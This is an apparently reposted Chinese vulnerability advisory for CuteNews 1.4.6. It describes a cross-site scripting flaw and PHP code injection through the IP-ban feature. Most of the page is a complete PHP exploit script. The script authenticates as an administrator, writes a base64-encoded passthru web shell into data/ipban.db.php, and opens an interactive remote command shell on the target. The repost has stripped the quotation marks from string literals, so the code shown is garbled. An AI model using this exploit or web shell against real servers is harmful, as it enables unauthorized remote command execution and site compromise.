CuteNews多个跨站脚本及PHP代码注入的漏洞

2011-3-24 18:21:02 来源:网络转载 浏览:99
CuteNews多个跨站脚本及PHP代码注入的漏洞
出现版本:1.4.6

程序介绍: Cutenews是一款功能强大的新闻管理系统,使用平坦式文件存储。

漏洞分析: Cutenews的index.php文件没有正确地验证对mod参数的输入便返回给了用户,这允许攻击者执行跨站脚本攻击;此外在阻断IP地址时没有正确的验证对add_ip参数的输入便储存在了data/ipban.db.php文件中,这可能导致注入并执行任意PHP代码。成功利用这个漏洞要求管理权限且禁用了.htaccess文件支持。

漏洞利用:
  1. #!/usr/bin/php -q  
  2.  <?php  
  3.   
  4. /********************************************************************* 
  5.  * CuteNews <= 1.4.6 (ip ban) XSS / Remote Command Execution Exploit * 
  6.  * by athos - staker[at]hotmail[dot]it                               * 
  7.  * http://cutephp.com                                                * 
  8.  *-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--* 
  9.  * Remote Command Execution                                          * 
  10.  *-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--* 
  11.  * you need a super account (administrator)                          * 
  12.  * so you can write in ipban.db.php anything ;)                      * 
  13.  *                                                                   * 
  14.  * works regardless of php.ini settings! enjoy your ais              * 
  15.  * note: this vuln is a privilege escalation                         *   
  16.  *                                                                   * 
  17.  *-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--* 
  18.  * Cross Site Scripting                                              * 
  19.  *-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*            
  20.  * http://[host]/[path]//index.php?mod=[Javascript Code]             * 
  21.  *********************************************************************/  
  22.   
  23. error_reporting(0);  
  24.   
  25. list($cli,$host,$path,$username,$password) = $argv;  
  26.   
  27. if ($argc != 5) {    
  28.        
  29.      print  \n+-------------------------------------------------------------+\n ;  
  30.      print  \r| CuteNews <= 1.4.6 (ip ban) Remote Command Execution Exploit |\n ;  
  31.      print  \r+-------------------------------------------------------------+\n ;  
  32.      print  \rby athos - staker[at]hotmail[dot]it / http://cutephp.com\n\n ;  
  33.      print  \rUsage: php xpl.php [host] [path] [username] [password]\n\n ;  
  34.      print  \rhost     + localhost\n ;  
  35.      print  \rpath     + /cutenews\n ;  
  36.      print  \rusername + admin username\n ;  
  37.      print  \rpassword + admin password\n\n ;  
  38.      exit;        
  39.  }           
  40.   
  41. exploit();  
  42.   
  43. function login () {  
  44.        
  45.      global $username,$password;  
  46.        
  47.      $cookies .=  username={$username}; md5_password= ;  
  48.      $cookies .= md5($password);  
  49.         
  50.      return $cookies;  
  51.  }      
  52.   
  53.   
  54.  function check_login() {  
  55.        
  56.      global $host,$path;  
  57.        
  58.      $auth .= login();  
  59.        
  60.      $data .=  GET /{$path}/index.php HTTP/1.1\r\n ;  
  61.      $data .=  Host: {$host}\r\n ;  
  62.      $data .=  User-Agent: Lynx (textmode)\r\n ;  
  63.      $data .=  Cookie: $auth;\n ;  
  64.      $data .=  Connection: close\r\n\r\n ;  
  65.        
  66.      if (preg_match(  
  67. /Welcome/i  
  68. ,$data)) {  
  69.          return true;  
  70.      }  
  71.      else {  
  72.          die( Login Failed\n );  
  73.      }      
  74.  }  
  75.   
  76.   
  77.  function exploit() {  
  78.   
  79.     global $host,$path;  
  80.        
  81.      $login  = login();  
  82.      $shell =  PD9waHAgDQpwYXNzdGhydSgkX0dFVFsnYyddKTsgDQo/Pg== ;  
  83.        
  84.      $shell = base64_decode($shell);  
  85.      $post  =  add_ip={$shell}&action=add&mod=ipban ;  
  86.        
  87.      $data .=  POST /{$path}/index.php HTTP/1.1\r\n ;  
  88.      $data .=  Host: {$host}\r\n ;  
  89.      $data .=  User-Agent: Lynx (textmode)\r\n ;  
  90.      $data .=  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n ;  
  91.      $data .=  Cookie: $login\r\n ;  
  92.      $data .=  Referer: http://{$host}/{$path}/index.php\r\n ;  
  93.      $data .=  Content-Type: application/x-www-form-urlencoded\r\n ;  
  94.      $data .=  Content-Length:  .strlen($post). \r\n\r\n ;  
  95.      $data .=  {$post}\r\n\r\n ;  
  96.               
  97.      if (eregi(  
  98. passthru  
  99. ,data_send($host,$data))) {  
  100.          yeat_shell();  
  101.      }  
  102.      else {  
  103.          die( Exploit Failed!\n );  
  104.      }                   
  105.  }  
  106.   
  107.   
  108.  function yeat_shell() {  
  109.        
  110.      while (1) {  
  111.          echo  yeat[shell]~$:  ;   
  112.          $exec = stripslashes(trim(fgets(STDIN)));    
  113.            
  114.          if (preg_match(  
  115. /^(exit|--exit|quit|--quit)$/i  
  116. ,$exec)) die( \nExited\n );  
  117.          if (preg_match(  
  118. /^(help|--help)$/i  
  119. ,$exec)) echo( \nExample: uname -a\n );  
  120.          if (preg_match(  
  121. /^(about|--about)$/i  
  122. ,$exec)) echo( \nstaker[at]hotmail[dot]it\n );  
  123.            
  124.          print data_exec($exec);       
  125.      }  
  126.  }  
  127.   
  128.   
  129.  function data_exec($exec) {  
  130.        
  131.      global $host,$path;  
  132.        
  133.      $exec = urlencode($exec);  
  134.      $data .=  GET /{$path}/data/ipban.db.php?c={$exec} HTTP/1.1\r\n ;  
  135.      $data .=  Host: {$host}\r\n ;  
  136.      $data .=  User-Agent: Lynx (textmode)\r\n ;  
  137.      $data .=  Connection: close\r\n\r\n ;  
  138.        
  139.      $html = data_send ($host,$data);  
  140.      $html = str_replace(  
  141. |0||  
  142. ,null,$html);  
  143.      return $html;  
  144.  }  
  145.   
  146.   
  147.  function data_send ($host,$data) {  
  148.       
  149.      if (!$sock = @fsockopen($host,80)) {  
  150.          die( Connection refused,try again!\n );  
  151.      }   fputs($sock,$data);  
  152.        
  153.      while (!feof($sock)) { $html .= fgets($sock); }  
  154.        
  155.      fclose($sock);  
  156.      return $html;  
  157.  }  
 
解决方案:
开发厂商:CutePHP
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.CutePHP.com.
(0)
(0)